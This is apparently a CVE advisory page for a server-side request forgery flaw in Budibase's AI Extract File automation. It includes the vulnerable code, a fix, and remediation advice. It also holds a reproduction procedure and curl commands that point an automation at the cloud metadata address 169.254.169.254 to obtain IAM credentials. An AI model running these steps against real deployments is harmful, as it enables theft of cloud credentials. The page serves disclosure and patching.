Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessAuthenticate with builder account
-
DeliveryCreate automation with AI Extract step
-
ExploitConfigure URL to internal target
-
ExecutionExecute automation
-
PersistRetrieve internal data
-
ImpactExfiltrate cloud credentials
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V4 - API and Web Service URL allowlisting, SSRF prevention
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Credential Access The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Successful exploitation requires authenticated access to Budibase with builder-level permissions to create or modify automations. The AI Extract File automation feature must be available and enabled. For cloud metadata theft, the Budibase server must be deployed in a cloud environment where metadata endpoints are accessible. The vulnerability affects both self-hosted and SaaS deployments, though cloud deployments face higher risk due to metadata service exposure. |
| Impact | The CVSS score of 7.7 (High) accurately reflects the severity with network attack vector, low complexity, and requirement for low privileges. The scope change (S:C) indicates potential impact beyond the vulnerable component, particularly concerning for multi-tenant SaaS deployments where SSRF could expose cloud provider credentials. While no EPSS score or CISA KEV listing is provided, the detailed proof-of-concept and straightforward exploitation path suggest moderate real-world risk. The vulnerability requires authenticated access with builder permissions, which limits the attack surface compared to unauthenticated SSRF. However, in Budibase Cloud environments, successful exploitation could lead to infrastructure compromise through cloud metadata access, making this a priority for SaaS deployments. |
| Exploit ScenarioDerived | An attacker with builder permissions logs into Budibase, creates a new automation with the AI Extract File step, and configures it to fetch from http://169.254.169.254/latest/meta-data/. When the automation runs, the server makes the request without IP validation, returning cloud metadata including IAM credentials. The detailed proof-of-concept demonstrates both UI-based and API-based exploitation methods. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – May 15, 2026
Server-Side Request Forgery (SSRF) in Budibase's AI Extract File automation step allows authenticated users with builder permissions to bypass IP blacklist protections and access internal resources. The vulnerability exists because the processUrlFile function uses fetch() directly without the fetchWithBlacklist() validation that protects all other automation steps, enabling attacks on cloud metadata endpoints (169.254.169.254), internal APIs, and private networks. Fixed in version 3.34.8.
RemediationAI
Upgrade to Budibase version 3.34.8 or later which fixes the vulnerability by implementing proper fetchWithBlacklist() validation in the AI Extract File automation step. The fix is included in release 3.38.4 as documented at https://github.com/Budibase/budibase/releases/tag/3.38.4. As a temporary workaround for environments that cannot immediately upgrade, consider disabling the AI Extract File automation feature or implementing network-level controls to block outbound requests from Budibase servers to internal IP ranges. Note that network-level controls may impact legitimate automation functionality that requires internal API access.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 2 packages in npm, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Budibase is a low-code platform for building internal tools and web applications. The vulnerability lies in the @budibase/server npm package, specifically in the AI Extract File automation step at packages/server/src/automations/steps/ai/extract.ts. While all other automation steps that make HTTP requests use a fetchWithBlacklist() function that blocks requests to private IP ranges (127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.0.0/16), the AI Extract File step uses the standard fetch() function directly, bypassing these critical security controls. This is a classic CWE-918 Server-Side Request Forgery vulnerability.
Know when the next one hits your stack
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
DescriptionGitHub Advisory
Vulnerability Details
CWE-918: Server-Side Request Forgery (SSRF)
The processUrlFile function in packages/server/src/automations/steps/ai/extract.ts uses fetch(fileUrl) directly without the IP blacklist validation that is consistently applied to all other automation steps. This allows an authenticated user to trigger server-side requests to internal network addresses.
Vulnerable Code
packages/server/src/automations/steps/ai/extract.ts (lines 116, 139):
async function processUrlFile(fileUrl: string, ...): Promise<ExtractInput> {
const response = await fetch(fileUrl) // NO blacklist check!
// ...
const fallbackResponse = await fetch(fileUrl) // Also NO blacklist check!
}Contrast with All Other Automation Steps (Same Codebase)
Every other automation step that makes outbound HTTP requests properly uses fetchWithBlacklist:
steps/slack.ts:19:response = await fetchWithBlacklist(url, {...})steps/discord.ts:28:response = await fetchWithBlacklist(url, {...})steps/zapier.ts:33:response = await fetchWithBlacklist(url, {...})steps/n8n.ts:53:response = await fetchWithBlacklist(url, request)steps/outgoingWebhook.ts:response = await fetchWithBlacklist(url, {...})steps/make.ts:response = await fetchWithBlacklist(url, {...})
The fetchWithBlacklist function (steps/utils.ts:100) validates URLs against the IP blacklist which blocks:
127.0.0.0/8(loopback)10.0.0.0/8,172.16.0.0/12,192.168.0.0/16(RFC1918 private)169.254.0.0/16(link-local / cloud metadata)- IPv6 private addresses
The AI Extract File step bypasses all of these protections.
Steps to Reproduce
Via Budibase UI
- Login as builder user
- Create or open any app
- Go to Automations > New Automation
- Add trigger: App Action
- Add step: AI > Extract File Data
- Set Source:
URL - Set File URL:
http://169.254.169.254/latest/meta-data/(or any internal IP) - Click Run Test - the server makes the request without IP blacklist validation
Via curl (API)
# 1. Login and get session cookie
curl -s -c /tmp/bb.txt \
"http://BUDIBASE_HOST/api/global/auth/default/login" \
-X POST -H "Content-Type: application/json" \
-d '{"username":"YOUR_EMAIL","password":"YOUR_PASSWORD"}'
# 2. Create automation with SSRF payload (replace YOUR_APP_ID)
curl -s -b /tmp/bb.txt \
"http://BUDIBASE_HOST/api/automations" \
-X POST -H "Content-Type: application/json" \
-H "x-budibase-app-id: YOUR_APP_ID" \
-d '{"name":"SSRF PoC","definition":{"trigger":{"stepId":"APP","event":"row:save"},"steps":[{"stepId":"AI_EXTRACT","inputs":{"source":"URL","fileUrl":"http://169.254.169.254/latest/meta-data/"}}]}}'Code Review Verification
Compare the vulnerable function with the safe pattern used everywhere else:
VULNERABLE (no blacklist):
packages/server/src/automations/steps/ai/extract.ts:116
const response = await fetch(fileUrl)
SAFE (with blacklist) - every other step:
packages/server/src/automations/steps/slack.ts:19
response = await fetchWithBlacklist(url, {...})
packages/server/src/automations/steps/discord.ts:28
response = await fetchWithBlacklist(url, {...})Expected vs Actual Behavior
Expected: processUrlFile() should reject internal/private IPs via fetchWithBlacklist() Actual: fetch(fileUrl) is called directly, allowing requests to 127.0.0.1, 10.x.x.x, 169.254.169.254 etc.
Impact
An authenticated user with builder permissions can:
- Access cloud metadata endpoints (AWS IAM credentials, GCP service tokens, Azure IMDS)
- Scan internal network services and ports
- Access internal APIs not intended for external access
- Exfiltrate data from internal services via the automation response
In Budibase Cloud (SaaS), this could be used to steal cloud provider credentials, potentially leading to full infrastructure compromise.
Proposed Fix
Replace fetch(fileUrl) with fetchWithBlacklist(fileUrl), consistent with all other automation steps:
import { fetchWithBlacklist } from "../utils"
async function processUrlFile(fileUrl: string, ...): Promise<ExtractInput> {
const response = await fetchWithBlacklist(fileUrl) // Use blacklist
// ...
const fallbackResponse = await fetchWithBlacklist(fileUrl) // Use blacklist
}Executive ViewAI
Budibase versions prior to 3.34.8 contain a Server-Side Request Forgery vulnerability in the AI Extract File automation feature that allows authenticated builders to access internal resources and cloud metadata endpoints, potentially exposing credentials and sensitive infrastructure information. This affects organizations using Budibase for workflow automation where builder-level users may be malicious or compromised.
Vendor-released patch: version 3.34.8. Until upgrade is completed, restrict builder role permissions to trusted users only, disable AI Extract File automation features if unused, and implement network segmentation to block Budibase server access to 169.254.169.254 and internal cloud metadata services via firewall rules.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Server-Side Request Forgery exploits applications that fetch remote resources based on user-supplied URLs.
EUVD-2026-32604
GHSA-rpj4-7x2v-wjrf
NVD
CVE.org
EPSS
VulDB
Exploit-DB